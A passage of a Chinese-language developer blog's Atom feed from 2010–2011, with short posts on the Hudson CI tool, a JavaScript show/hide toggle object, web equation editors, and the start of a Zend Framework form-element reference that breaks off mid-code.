src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-8230055693805530294</id><published>2011-09-05T00:14:00.000-07:00</published><updated>2011-09-05T00:14:04.279-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="軟體開發"/><title type='text'></title><content type='html'>CI工具&lt;br /&gt;
Hudson</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/8230055693805530294/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2011/09/ci-hudson.html#comment-form' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/8230055693805530294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/8230055693805530294'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2011/09/ci-hudson.html' title=''/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-989889935382093534</id><published>2011-05-31T18:57:00.000-07:00</published><updated>2011-09-05T00:13:55.032-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="軟體開發"/><title type='text'>[開發工具]</title><content type='html'>&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: arial, sans-serif; font-size: x-small; line-height: 15px;&quot;&gt;Continuous Integration&lt;/span&gt;(CI)工具&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;&quot;&gt;
Hudson&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;&quot;&gt;
安裝方法&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;&quot;&gt;
phing (PHP 的ant)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/989889935382093534/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2011/05/blog-post.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/989889935382093534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/989889935382093534'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2011/05/blog-post.html' title='[開發工具]'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-8122494220515286726</id><published>2011-04-12T19:26:00.001-07:00</published><updated>2011-09-05T00:14:22.121-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>我跟秋紅正 一起學 javascript objec宣告</title><content type='html'>&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; color: black; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;&quot;&gt;&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; color: black; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;&quot;&gt;&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;function&lt;/span&gt; toggle&lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;textbar&lt;span style=&quot;color: #808030;&quot;&gt;,&lt;/span&gt;textbardiv&lt;span style=&quot;color: #808030;&quot;&gt;,&lt;/span&gt;eventdiv&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;{&lt;/span&gt;

&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;_onfocus&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0f4d75;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;    

&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbar &lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt; textbar&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbardiv&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;textbardiv&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;eventdiv&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;eventdiv&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;





&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;toggleVisibility&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;function&lt;/span&gt; &lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;{&lt;/span&gt;

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;_onfocus&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0f4d75;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbardiv&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;style&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;display&lt;span style=&quot;color: #808030;&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;{&lt;/span&gt;

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbardiv&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;style&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;display&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&quot;none&quot;&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbardiv&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;style&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;position&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&quot;absolute&quot;&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt; 

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbar&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;style&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;display&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbar&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;value&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbardiv&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;innerHTML&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;}&lt;/span&gt; 



&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;togglehidden&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;function&lt;/span&gt; &lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;{&lt;/span&gt;

&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;!thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;_onfocus&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;{&lt;/span&gt;    

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbardiv&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;style&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;display&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbar&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;style&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;display&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&quot;none&quot;&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbardiv&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;innerHTML&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbar&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;value&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;}&lt;/span&gt; 



&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;togglehidden1&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;function&lt;/span&gt; &lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;{&lt;/span&gt;

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbardiv&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;style&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;display&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbar&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;style&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;display&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&quot;none&quot;&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbardiv&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;innerHTML&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbar&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;value&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;    

&lt;span style=&quot;color: purple;&quot;&gt;}&lt;/span&gt; 



&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;t_onfocus &lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;function&lt;/span&gt; &lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;{&lt;/span&gt;

thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;_onfocus&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0f4d75;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;    

&lt;span style=&quot;color: purple;&quot;&gt;}&lt;/span&gt;





&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbar&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;onblur&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;togglehidden1&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;textbar&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;onfocus&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;t_onfocus&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;eventdiv&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;onmouseout&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;togglehidden&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;eventdiv&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;onmouseover&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;toggleVisibility&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;



thisClcss&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;togglehidden&lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: purple;&quot;&gt;}&lt;/span&gt;



&lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;var&lt;/span&gt; texttest &lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;  toggle&lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;document&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;getElementById&lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&#39;textfield&#39;&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;,&lt;/span&gt;document&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;getElementById&lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&#39;345&#39;&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;,&lt;/span&gt;document&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;getElementById&lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&#39;123&#39;&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;;&lt;/span&gt;&lt;/pre&gt;
</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/8122494220515286726/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2011/04/javascript-objec.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/8122494220515286726'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/8122494220515286726'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2011/04/javascript-objec.html' title='我跟秋紅正 一起學 javascript objec宣告'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-5890070349119607925</id><published>2010-11-09T19:14:00.000-08:00</published><updated>2011-09-03T02:03:03.443-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>[web] equation(formula)  editor</title><content type='html'>最近找了很多web 的方程式編輯器&lt;br /&gt;
有兩個覺得不錯的&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.imathas.com/editordemo/demo.html&quot;&gt;http://www.imathas.com/editordemo/demo.html&lt;/a&gt;&lt;br /&gt;
這個可以跟tinymce editor 整合&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://dam02.win.tue.nl/formulaeditor/&quot;&gt;http://dam02.win.tue.nl/formulaeditor/&lt;/a&gt;&lt;br /&gt;
這個很即時</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/5890070349119607925/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2010/11/web-equationformula-editor.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/5890070349119607925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/5890070349119607925'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2010/11/web-equationformula-editor.html' title='[web] equation(formula)  editor'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-2110971943820697993</id><published>2010-10-29T02:21:00.000-07:00</published><updated>2011-09-03T02:03:34.389-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>[web] Zend framework form element, filter,  validator整理</title><content type='html'>&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #fff2cc;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;Form Element&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Zend_Form_Element_Button&lt;br /&gt;
&lt;div&gt;
button&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_Captcha&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// Using single captcha key:&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$element&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Form_Element_Captcha&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;foo&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;label&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&quot;Please verify you&#39;re a human&quot;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;captcha&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
